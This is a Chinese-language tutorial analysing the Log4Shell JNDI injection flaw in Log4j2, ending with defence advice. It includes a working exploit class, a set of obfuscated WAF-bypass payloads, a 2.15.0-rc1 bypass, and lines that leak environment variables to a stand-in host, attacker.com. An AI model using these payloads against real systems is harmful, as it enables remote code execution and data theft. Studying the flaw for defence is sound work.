深入学习 Log4j2 漏洞原理以及绕过手段
字数 1349 2025-08-12 11:34:13
Log4j2 漏洞原理与绕过手段深度解析
0x01 前言
Log4j2 漏洞(CVE-2021-44228)是近年来影响最大的安全漏洞之一。本文将从基础开发、漏洞原理、复现方法、调试分析和绕过手段等多个维度,深入剖析该漏洞的技术细节。
0x02 Log4j2 基础开发
环境配置
- JDK 版本:8u65(高版本JDK也有绕过手段)
- Log4j2 版本:2.14.1
- Commons Collections:3.2.1(推荐)
基础Demo实现
<!-- pom.xml 依赖 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<!-- log4j2.xml 配置文件 -->
<configuration status="info">
<Properties>
<Property name="pattern1">[%-5p] %d %c - %m%n</Property>
<Property name="pattern2">日志级别:%p%n日志时间:%d%n所属类名:%c%n所属线程:%t%n日志信息:%m%n</Property>
<Property name="filePath">logs/myLog.log</Property>
</Properties>
<appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${pattern1}"/>
</Console>
<RollingFile name="RollingFile" fileName="${filePath}"
filePattern="logs/
$$
{date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
<PatternLayout pattern="${pattern2}"/>
<SizeBasedTriggeringPolicy size="5 MB"/>
</RollingFile>
</appenders>
<loggers>
<root level="info">
<appender-ref ref="Console"/>
<appender-ref ref="RollingFile"/>
</root>
</loggers>
</configuration>
// 基础使用示例
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2Test01 {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Log4j2Test01.class);
logger.trace("trace level");
logger.debug("debug level");
logger.info("info level");
logger.warn("warn level");
logger.error("error level");
logger.fatal("fatal level");
}
}
实际应用场景
// 实际应用示例
public class RealEnv {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(RealEnv.class);
String username = "Drunkbaby";
if (username != null) {
logger.info("User {} login in!", username);
} else {
logger.error("User {} not exists", username);
}
}
}
0x03 漏洞分析
影响版本
2.x <= log4j <= 2.15.0-rc1
漏洞原理
当用户输入被直接记录到日志时,如果输入包含${}格式的表达式,Log4j2会执行其中的Lookup表达式。特别是JNDI Lookup功能,允许通过LDAP协议加载远程Java对象,导致RCE。
测试示例:
String username = "${java:os}";
logger.info("User {} login in!", username);
// 输出操作系统信息而非原始字符串
0x04 漏洞复现
基本EXP
public class log4j2EXP {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(log4j2EXP.class);
String username = "${jndi:ldap://127.0.0.1:1234/ExportObject}";
logger.info("User {} login in!", username);
}
}
0x05 调试分析
关键调试点
- 在
PatternLayout#toSerializable()方法下断点 - 关注
MessagePatternConverter#format()方法 - 最终会调用
StrSubstitutor#substitute()处理${}表达式
漏洞触发流程
- 检测字符串中是否存在
${} - 提取
${}中的内容(如jndi:ldap://127.0.0.1:1389/Calc) - 使用
:分割payload,根据前缀选择解析器 - 支持的Lookup前缀:
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j - 最终调用
JndiLookup#lookup()方法,触发JNDI注入
0x06 WAF绕过技术
1. 利用分隔符和多个${}绕过
logger.info("${j${::-n}di:ldap://127.0.0.1:1389/Calc}");
2. 通过lower和upper绕过
logger.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logger.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");
3. 特殊字符大小写转换
logger.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}");
4. 常用绕过payload集合
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject}
${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}
${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}
${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}
5. 信息泄露技巧
${jndi:ldap://${env:LOGNAME}.attacker.com}
${jndi:ldap://${sys:java.version}.attacker.com}
0x07 Log4j2 2.15.0修复与绕过
修复措施
- 默认禁用JNDI Lookup功能
- 在
JndiManager#lookup()中添加限制:- 限制协议:只允许
java, ldap, ldaps - 限制主机:默认只允许本地主机
- 对
javaSerializedData中的类名进行过滤 - 对
Reference和javaFactory进行处理
- 限制协议:只允许
绕过方法(需手动开启lookups)
<!-- log4j2.xml -->
<configuration status="OFF" monitorInterval="30">
<appenders>
<console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
<PatternLayout pattern="%m{lookups}%n"/>
</console>
</appenders>
<loggers>
<root level="error">
<appender-ref ref="CONSOLE-APPENDER"/>
</root>
</loggers>
</configuration>
// 绕过EXP(Windows不可用)
public class BypassRc1EXP {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(BypassRc1EXP.class);
Configuration configuration = new DefaultConfiguration();
MessagePatternConverter messagePatternConverter =
MessagePatternConverter.newInstance(configuration, new String[]{"lookups"});
LogEvent logEvent = new MutableLogEvent(
new StringBuilder("${jndi:ldap://127.0.0.1:1234/ ExportObject}"), null);
messagePatternConverter.format(logEvent,
new StringBuilder("${jndi:ldap://127.0.0.1:1234/ ExportObject}"));
}
}
关键点:通过在LDAP URL中添加空格触发异常处理流程绕过主机限制。
0x08 防御建议
- 升级到最新版本(2.17.0+)
- 设置
log4j2.formatMsgNoLookups=true - 移除
JndiLookup类 - 限制出站网络连接
- 使用WAF规则过滤
${和jndi:等关键字